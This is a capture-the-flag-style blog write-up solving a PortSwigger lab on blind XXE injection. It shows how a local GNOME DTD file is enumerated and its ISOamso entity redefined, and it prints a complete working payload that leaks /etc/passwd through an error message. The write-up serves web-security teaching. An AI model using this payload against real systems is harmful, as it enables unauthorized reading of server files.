siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Exploiting XXE to retrieve data by repurposing a local DTD | Dec 25, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting XXE to retrieve data by repurposing a local DTD! Without further ado, let’s dive in.

Background

This lab has a “Check stock” feature that parses XML input but does not display the result.

To solve the lab, trigger an error message containing the contents of the /etc/passwd file.

You’ll need to reference an existing DTD file on the server and redefine an entity from it.

Exploitation

Home page:

In previous labs, we found that there is an XXE injection vulnerability in “Check stock” feature, which parses XML input.

Original XML data:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Invalid XML data:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>a</productId>
    <storeId>1</storeId>
</stockCheck>

However, it does not display the result, which indicates that this is a blind XXE injection.

To exploit blind XXE injection, we could leverage a local DTD.

But first, we need to locate a suitable DTD.

To do so, we can enumerate local DTD files via:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///file.dtd"> %local_dtd; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Let’s try /usr/share/yelp/dtd/docbookx.dtd, which is a common DTD file in GNOME desktop environment:

Hmm… No error. What if I provide an invalid DTD file?

The web server couldn’t find that DTD file.

So, let’s use /usr/share/yelp/dtd/docbookx.dtd as our local DTD file!

Next, let’s inspect that file:

<!ENTITY % ISOamsa PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Arrow Relations//EN//XML"
"isoamsa.ent">
<!ENTITY % ISOamsb PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Binary Operators//EN//XML"
"isoamsb.ent">
<!ENTITY % ISOamsc PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Delimiters//EN//XML"
"isoamsc.ent">
<!ENTITY % ISOamsn PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Negated Relations//EN//XML"
"isoamsn.ent">
<!ENTITY % ISOamso PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Ordinary//EN//XML"
"isoamso.ent">
<!ENTITY % ISOamsr PUBLIC
"ISO 8879:1986//ENTITIES Added Math Symbols: Relations//EN//XML"
"isoamsr.ent">
<!ENTITY % ISObox PUBLIC
"ISO 8879:1986//ENTITIES Box and Line Drawing//EN//XML"
"isobox.ent">
<!ENTITY % ISOcyr1 PUBLIC
"ISO 8879:1986//ENTITIES Russian Cyrillic//EN//XML"
"isocyr1.ent">
<!ENTITY % ISOcyr2 PUBLIC
"ISO 8879:1986//ENTITIES Non-Russian Cyrillic//EN//XML"
"isocyr2.ent">
<!ENTITY % ISOdia PUBLIC
"ISO 8879:1986//ENTITIES Diacritical Marks//EN//XML"
"isodia.ent">
<!ENTITY % ISOgrk1 PUBLIC
"ISO 8879:1986//ENTITIES Greek Letters//EN//XML"
"isogrk1.ent">
<!ENTITY % ISOgrk2 PUBLIC
"ISO 8879:1986//ENTITIES Monotoniko Greek//EN//XML"
"isogrk2.ent">
<!ENTITY % ISOgrk3 PUBLIC
"ISO 8879:1986//ENTITIES Greek Symbols//EN//XML"
"isogrk3.ent">
<!ENTITY % ISOgrk4 PUBLIC
"ISO 8879:1986//ENTITIES Alternative Greek Symbols//EN//XML"
"isogrk4.ent">
<!ENTITY % ISOlat1 PUBLIC
"ISO 8879:1986//ENTITIES Added Latin 1//EN//XML"
"isolat1.ent">
<!ENTITY % ISOlat2 PUBLIC
"ISO 8879:1986//ENTITIES Added Latin 2//EN//XML"
"isolat2.ent">
<!ENTITY % ISOnum PUBLIC
"ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN//XML"
"isonum.ent">
<!ENTITY % ISOpub PUBLIC
"ISO 8879:1986//ENTITIES Publishing//EN//XML"
"isopub.ent">
<!ENTITY % ISOtech PUBLIC
"ISO 8879:1986//ENTITIES General Technical//EN//XML"
"isotech.ent">
%ISOamsa;
%ISOamsb;
%ISOamsc;
%ISOamsn;
%ISOamso;
%ISOamsr;
%ISObox;
%ISOcyr1;
%ISOcyr2;
%ISOdia;
%ISOgrk1;
%ISOgrk2;
%ISOgrk3;
%ISOgrk4;
%ISOlat1;
%ISOlat2;
%ISOnum;
%ISOpub;
%ISOtech;

As you can see, it contains entities called ISOxxxx.

Then, we can repurpose one of those entities!

Let’s pick ISOamso:

<!DOCTYPE foo [ 
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

The above XXE payload will:

Complete payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Let’s send our payload!

Boom! We did it!

What we’ve learned:

  1. Exploiting XXE to retrieve data by repurposing a local DTD